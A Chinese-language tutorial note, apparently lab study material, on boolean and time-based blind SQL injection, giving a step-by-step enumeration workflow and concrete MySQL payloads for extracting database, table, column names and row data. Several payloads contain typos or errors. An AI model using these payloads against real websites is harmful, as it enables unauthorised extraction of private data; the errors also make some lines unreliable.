网络知识 娱乐 盲注简单解析.md

盲注简单解析.md

盲注:盲注是利用与本身并不会返回想要的数据,而通过注入代码后观察差异,如页面差异或时间差异等,以此来判断注入的代码是否成功运行。 注1:由于数据的不确定性(数据组成可以是数字,大小写、特殊字符),盲注并不适合来爆破数据量过大库值。

#盲注流程

  1. 判断是否存在注入点
  2. 获取数据库长度
  3. 逐字节猜取数据库名字
  4. 猜解表名数量
  5. 猜解某一个表名长度
  6. 逐字节猜解对应表的名字(重复6、7猜解所有表名)
  7. 获取某表所有字段数量
  8. 猜解其中一个字段的长度
  9. 逐字节猜解对应字段的名称
  10. 判断数据数量
  11. 猜解某条数据的长度
  12. 逐位猜解数据

#布尔盲注

#盲注函数

Length(str) 返回字符串长度

Limite pos,rows 返回指定行数的数据(pos从0开始计算)

Substr(str,pos,len) 截取指定长度的数据(pos从1开始计算)

Ascii(str) 返回最左侧的字符的ASCALL

Left (str,len) 返回从最左侧开始计算的Len个字符

Right (str,len) 返回从最右侧开始计算的Len个字符

#盲注简单示例

  1. 注入点判断(通过单双引号闭合语句看页面是否有差异) 正常情况 通过加单引号后异常情况(页面没有显示数据了)
  2. 获取数据库长度 payload: and length(database())=9 如果后续的条件判断为真,则语句执行成功,则会有返回成功的数据,否者页面为空。
  3. 逐字节猜库名 payload: and substr(database(),pos,1)='0-9|a-z|A-Z' 同样的条件判断为真才有输出,且注意字符要加引号,单双皆可以
  4. 猜解表名数量 payload:and (select count(table_name) from information_schema.tables where table_schema=database())='num'; 同上,单同样注意一点,select返回的是字符,所以注意加引号。 此处num可以不加引号。
  5. 猜解表名长度 payload_1:and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=num payload_2:and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=7 同上,有返回代表结果为真。注意第一条payload是length()内是两个括号每一个括号扩住参数,第二个括号是表示整个select语句为一个整体,缺一个会报错。
  6. 猜解表名 payload:and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='char'
  7. 获取表中字段数量 payload:and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='comment')=4 同上,注意额外的判断条件table_name='表名'。
  8. 猜解字段长度 payload:and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='comment' limit 0,1)=2 同上,注意前面的需要注意的。
  9. 猜解字段名 payload:and substr((select column_name from information_schema.columns where table_schema=database() and table_name='comment' limit 0,1),1,1)='i' 同上,注意引号的使用。
  10. 判断数据量 payload:and (select count(id) from hetianlab.comment)=5
  11. 猜解数据长度 payload:and (select length(id) from hetianlab.comment limit 0,1)=1 注意加limit限制数据数量
  12. 解析数据 payload:and substr((select id from hetianlab.comment limit 0,1),1,1)='1' substr 返回的是字符串

#时间盲注

通过观察页面响应时间,以此判断布尔表达式是否执行成功。

#盲注函数

if(布尔判断式,语句1,语句2) 当布尔判断式为真时执行语句1,否则执行语句2 sleep(time/sec)睡眠指定秒数

#盲注简单示例

  1. 数据库
  2. 获取数据库长度 payload:and if(database()=9,sleep(3),sleep(0)) 这延迟,人已去世...
  3. 逐字节猜库名 payload:and if(substr(database(),1,1)='u',sleep(3),sleep(0))
  4. 猜解表名数量 payload:and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(1),sleep(0))
  5. 猜解表名长度 payload:and if(select length(table_name) from infortmation_schema.tables where table_schema=database() limit 0,1)=8,sleep(1),sleep(0));
  6. 猜解表名 payload:and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u',sleep(1),sleep(0));
  7. 获取表中字段数量 payload:and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),sleep(0));
  8. 猜解字段名 payload:and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),sleep(0));
  9. 判断数据量 payload:and if((select count(id) from users )=3,sleep(1),sleep(0));
  10. 猜解数据长度 payload:and if((select length(id) from users limit 0,1)=1,sleep(1),sleep(0));
  11. 解析数据 payload:and if(substr((select id from users limit 0,1),1,1),sleep(1),sleep(0));

#总结

  1. 盲注式通过插入布尔表达式,然后观察页面反应以此判断表达式内容是否为真的语句。
  2. 盲注对于数据量较大的库比较无力,需要花费很多时间。
  3. 布尔型和时间型盲注本质没有区别,只是时间型式通过页面响应时间判断条件真假。
  4. select语句最好使用一个()包围起来,这样表示一个整体,如果不使用,在某些情况下会出现错误。
  5. sleep()函数会使语句无返回,谨慎使用。
  6. select 语句返回值有点像一个对象,可以使用各种类型与其对比。
  7. substr()函数返回的是一个字符串,注意引号的使用。